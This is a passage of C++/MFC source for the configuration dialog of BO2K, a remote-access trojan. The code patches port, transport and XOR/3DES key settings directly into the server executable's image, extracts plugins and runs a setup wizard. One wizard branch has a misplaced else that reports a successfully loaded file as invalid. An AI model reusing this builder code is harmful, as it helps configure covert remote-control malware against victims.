  695. GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow();
  696. GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow();
  697. GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow();
  698. GetDlgItem(IDC_SETVALUE)->EnableWindow();
  699. GetDlgItem(IDC_STR_CURRENTVALUE)->SetWindowText(m_arrVarInfo[nVar].svVarValue);
  700. GetDlgItem(IDC_STR_NEWVALUE)->SetWindowText("");
  701. ((CEdit *)GetDlgItem(IDC_STR_CURRENTVALUE))->SetLimitText(m_arrVarInfo[nVar].nStrLen);
  702. ((CEdit *)GetDlgItem(IDC_STR_NEWVALUE))->SetLimitText(m_arrVarInfo[nVar].nStrLen);
  703. GetDlgItem(IDC_STR_CURRENTVALUE)->ModifyStyle(ES_NUMBER,0);
  704. GetDlgItem(IDC_STR_NEWVALUE)->ModifyStyle(ES_NUMBER,0);
  705. }
  706. }
  707. }
  708. *pResult = 0;
  709. }
  710. void CBo2kcfgDlg::OnBoolDisabled() 
  711. {
  712. CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);
  713. HTREEITEM hti=pTC->GetSelectedItem();
  714. int nVar=pTC->GetItemData(hti);
  715. if(nVar!=0xFFFFFFFF) {
  716. m_arrVarInfo[nVar].svVarValue[0]='0';
  717. // Set into image
  718. VARIABLE_INFO vi=m_arrVarInfo[nVar];
  719. char *ptr;
  720. DWORD pos;
  721. if(vi.nPlugin>=0) {
  722. PLUGIN_INFO pi=m_arrPluginInfo[vi.nPlugin];
  723. ptr=(char *)pi.pPluginImage;
  724. } else {
  725. ptr=(char *)m_pSvrView;
  726. }
  727. pos=vi.dwPos;
  728. memset(ptr+pos,0,vi.nStrLen+1);
  729. memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));
  730. }
  731. }
  732. void CBo2kcfgDlg::OnBoolEnabled() 
  733. {
  734. CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);
  735. HTREEITEM hti=pTC->GetSelectedItem();
  736. int nVar=pTC->GetItemData(hti);
  737. if(nVar!=0xFFFFFFFF) {
  738. m_arrVarInfo[nVar].svVarValue[0]='1';
  739. // Set into image
  740. VARIABLE_INFO vi=m_arrVarInfo[nVar];
  741. char *ptr;
  742. DWORD pos;
  743. if(vi.nPlugin>=0) {
  744. PLUGIN_INFO pi=m_arrPluginInfo[vi.nPlugin];
  745. ptr=(char *)pi.pPluginImage;
  746. } else {
  747. ptr=(char *)m_pSvrView;
  748. }
  749. pos=vi.dwPos;
  750. memset(ptr+pos,0,vi.nStrLen+1);
  751. memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));
  752. }
  753. }
  754. void CBo2kcfgDlg::OnSetvalue()
  755. {
  756. CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);
  757. HTREEITEM hti=pTC->GetSelectedItem();
  758. int nVar=pTC->GetItemData(hti);
  759. if(nVar!=0xFFFFFFFF) {
  760. CString str;
  761. GetDlgItem(IDC_STR_NEWVALUE)->GetWindowText(str);
  762. if(m_arrVarInfo[nVar].VarType=='N') {
  763. int nValue=atoi(str);
  764. if((nValue>m_arrVarInfo[nVar].nNumHi) ||
  765.    (nValue<m_arrVarInfo[nVar].nNumLo)) {
  766. AfxMessageBox("Value is out of range.");
  767. return;
  768. }
  769. }
  770. lstrcpyn(m_arrVarInfo[nVar].svVarValue,str,256);
  771. GetDlgItem(IDC_STR_CURRENTVALUE)->SetWindowText(str);
  772. // Set into image
  773. VARIABLE_INFO vi=m_arrVarInfo[nVar];
  774. char *ptr;
  775. DWORD pos;
  776. if(vi.nPlugin>=0) {
  777. PLUGIN_INFO pi=m_arrPluginInfo[vi.nPlugin];
  778. ptr=(char *)pi.pPluginImage;
  779. } else {
  780. ptr=(char *)m_pSvrView;
  781. }
  782. pos=vi.dwPos;
  783. memset(ptr+pos,0,vi.nStrLen+1);
  784. memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));
  785. }
  786. }
  787. void CBo2kcfgDlg::OnExit()
  788. {
  789. CloseServer();
  790. EndDialog(0);
  791. }
  792. void CBo2kcfgDlg::OnClose() 
  793. {
  794. OnExit();
  795. }
  796. void CBo2kcfgDlg::OnExtract() 
  797. {
  798. // Get Selected List Item
  799. CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));
  800. int nItem;
  801. nItem=pLC->GetSelectionMark();
  802. if(nItem==-1) return;
  803. // Get plugin 
  804. PLUGIN_INFO pi;
  805. pi=m_arrPluginInfo.GetAt(nItem);
  806. // Write to disk
  807. CFileDialog cfd(FALSE,".dll",pi.svFilename,OFN_OVERWRITEPROMPT|OFN_PATHMUSTEXIST,"DLL Files (*.dll)|*.dll|All Files (*.*)|*.*||",this);
  808. if(cfd.DoModal()) {
  809. CFile file(cfd.GetPathName(),CFile::modeCreate|CFile::modeWrite|CFile::typeBinary);
  810. file.Write(pi.pPluginImage,pi.dwPluginLen);
  811. file.Close();
  812. AfxMessageBox("Plugin extracted.",MB_OK|MB_ICONINFORMATION|MB_TOPMOST|MB_SETFOREGROUND);
  813. }
  814. }
  815. void CBo2kcfgDlg::OnWizard() 
  816. {
  817. CloseServer();
  818. DoWizard();
  819. }
  820. void CBo2kcfgDlg::DoWizard()
  821. {
  822. CWizard1 wiz1;
  823. CWizard2 wiz2;
  824. CWizard3 wiz3;
  825. CWizard4 wiz4;
  826. CWizard5 wiz5;
  827. CWizard6 wiz6;
  828. CWizard7 wiz7;
  829. wiz1.m_bShowWizard=AfxGetApp()->GetProfileInt("Startup","Wizard",TRUE);
  830. wiz2.m_strServerFile="bo2k.exe";
  831. wiz3.m_nNetType=0;
  832. wiz4.m_nPort=0;
  833. wiz5.m_nEncType=1;
  834. wiz6.m_nLetterCount=0;
  835. wiz6.m_strPassword="";
  836. int nState=1,nRet;
  837. while(nState>0 && nState<8) {
  838. switch(nState) {
  839. case 1:
  840. nRet=wiz1.DoModal();
  841. break;
  842. case 2:
  843. CloseServer();
  844. nRet=wiz2.DoModal();
  845. if(nRet==IDOK) {
  846. if(IsValidServer(wiz2.m_strServerFile)) {
  847. if(!OpenServer(wiz2.m_strServerFile)) {
  848. AfxMessageBox("The BO2K server you have selected could not be loaded.");
  849. nRet=0;
  850. } else {
  851. AfxMessageBox("The file you selected is not a BO2K server.");
  852. nRet=0;
  853. }
  854. }
  855. break;
  856. case 3:
  857. nRet=wiz3.DoModal();
  858. break;
  859. case 4:
  860. nRet=wiz4.DoModal();
  861. break;
  862. case 5:
  863. {
  864. wiz5.m_bDESPresent=FALSE;
  865. int i,count;
  866. count=m_arrPluginInfo.GetSize();
  867. for(i=0;i<count;i++) {
  868. PLUGIN_INFO pi;
  869. pi=m_arrPluginInfo.GetAt(i);
  870. if(lstrcmpi(pi.svFilename,"bo3des.dll")==0) {
  871. wiz5.m_bDESPresent=TRUE;
  872. break;
  873. }
  874. }
  875. }
  876. nRet=wiz5.DoModal();
  877. break;
  878. case 6:
  879. {
  880. if(wiz5.m_nEncType==1) {
  881. wiz6.m_nMinLetterCount=14;
  882. wiz6.m_nMaxLetterCount=45;
  883. } else {
  884. wiz6.m_nMinLetterCount=4;
  885. wiz6.m_nMaxLetterCount=45;
  886. }
  887. nRet=wiz6.DoModal();
  888. }
  889. break;
  890. case 7:
  891. nRet=wiz7.DoModal();
  892. break;
  893. }
  894. if(nRet==IDOK) nState++;
  895. else if(nRet==IDBACK) nState--;
  896. else if(nRet==IDCANCEL) {
  897. nState=0;
  898. }
  899. }
  900. if(nState==0) {
  901. CloseServer();
  902. return;
  903. }
  904. // Modify stuff
  905. int i,count;
  906. char *ptr;
  907. DWORD pos;
  908. BOOL bWrite;
  909. const char *szOldProfName=AfxGetApp()->m_pszProfileName;
  910. AfxGetApp()->m_pszProfileName="BO2K Client";
  911. count=m_arrVarInfo.GetSize();
  912. for(i=0;i<count;i++) {
  913. VARIABLE_INFO vi;
  914. vi=m_arrVarInfo.GetAt(i);
  915. bWrite=TRUE;
  916. if(lstrcmpi(vi.svCategory,"Startup")==0 && lstrcmpi(vi.svVarName,"Init Cmd Net Type")==0) {
  917. lstrcpyn(vi.svVarValue,(wiz3.m_nNetType==0)?"TCPIO":"UDPIO",vi.nStrLen+1);
  918. } else if(lstrcmpi(vi.svCategory,"Startup")==0 && lstrcmpi(vi.svVarName,"Init Cmd Bind Str")==0) {
  919. wsprintf(vi.svVarValue,"%u",wiz4.m_nPort);
  920. } else if(lstrcmpi(vi.svCategory,"TCPIO")==0 && lstrcmpi(vi.svVarName,"Default Port")==0) {
  921. if(wiz3.m_nNetType==0) {
  922. wsprintf(vi.svVarValue,"%u",wiz4.m_nPort);
  923. AfxGetApp()->WriteProfileString("TCPIO","Default Port",vi.svVarValue);
  924. }
  925. } else if(lstrcmpi(vi.svCategory,"UDPIO")==0 && lstrcmpi(vi.svVarName,"Default Port")==0) {
  926. if(wiz3.m_nNetType==1) {
  927. wsprintf(vi.svVarValue,"%u",wiz4.m_nPort);
  928. AfxGetApp()->WriteProfileString("UDPIO","Default Port",vi.svVarValue);
  929. }
  930. } else if(lstrcmpi(vi.svCategory,"Startup")==0 && lstrcmpi(vi.svVarName,"Init Cmd Encryption")==0) {
  931. lstrcpyn(vi.svVarValue,(wiz5.m_nEncType==0)?"XOR":"3DES",vi.nStrLen+1);
  932. } else if(lstrcmpi(vi.svCategory,"3DES")==0 && lstrcmpi(vi.svVarName,"3DES Key String")==0) {
  933. if(wiz5.m_nEncType==1) {
  934. lstrcpyn(vi.svVarValue,wiz6.m_strPassword,vi.nStrLen+1);
  935. AfxGetApp()->WriteProfileString("3DES","3DES Key String",vi.svVarValue);
  936. }
  937. } else if(lstrcmpi(vi.svCategory,"XOR")==0 && lstrcmpi(vi.svVarName,"XOR Key")==0) {
  938. if(wiz5.m_nEncType==0) {
  939. lstrcpyn(vi.svVarValue,wiz6.m_strPassword,vi.nStrLen+1);
  940. AfxGetApp()->WriteProfileString("XOR","XOR Key",vi.svVarValue);
  941. }
  942. } else if(lstrcmpi(vi.svCategory,"File Transfer")==0 && lstrcmpi(vi.svVarName,"File Xfer Net Type")==0) {
  943. lstrcpyn(vi.svVarValue,(wiz3.m_nNetType==0)?"TCPIO":"UDPIO",vi.nStrLen+1);
  944. } else if(lstrcmpi(vi.svCategory,"File Transfer")==0 && lstrcmpi(vi.svVarName,"File Xfer Encryption")==0) {
  945. lstrcpyn(vi.svVarValue,(wiz5.m_nEncType==0)?"XOR":"3DES",vi.nStrLen+1);
  946. } else {
  947. bWrite=FALSE;
  948. }
  949. if(bWrite) {
  950. if(vi.nPlugin>=0) {
  951. PLUGIN_INFO pi=m_arrPluginInfo[vi.nPlugin];
  952. ptr=(char *)pi.pPluginImage;
  953. } else {
  954. ptr=(char *)m_pSvrView;
  955. }
  956. pos=vi.dwPos;
  957. memset(ptr+pos,0,vi.nStrLen+1);
  958. memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));
  959. }
  960. }
  961. AfxGetApp()->m_pszProfileName=szOldProfName;
  962. SaveServer();
  963. CloseServer();
  964. }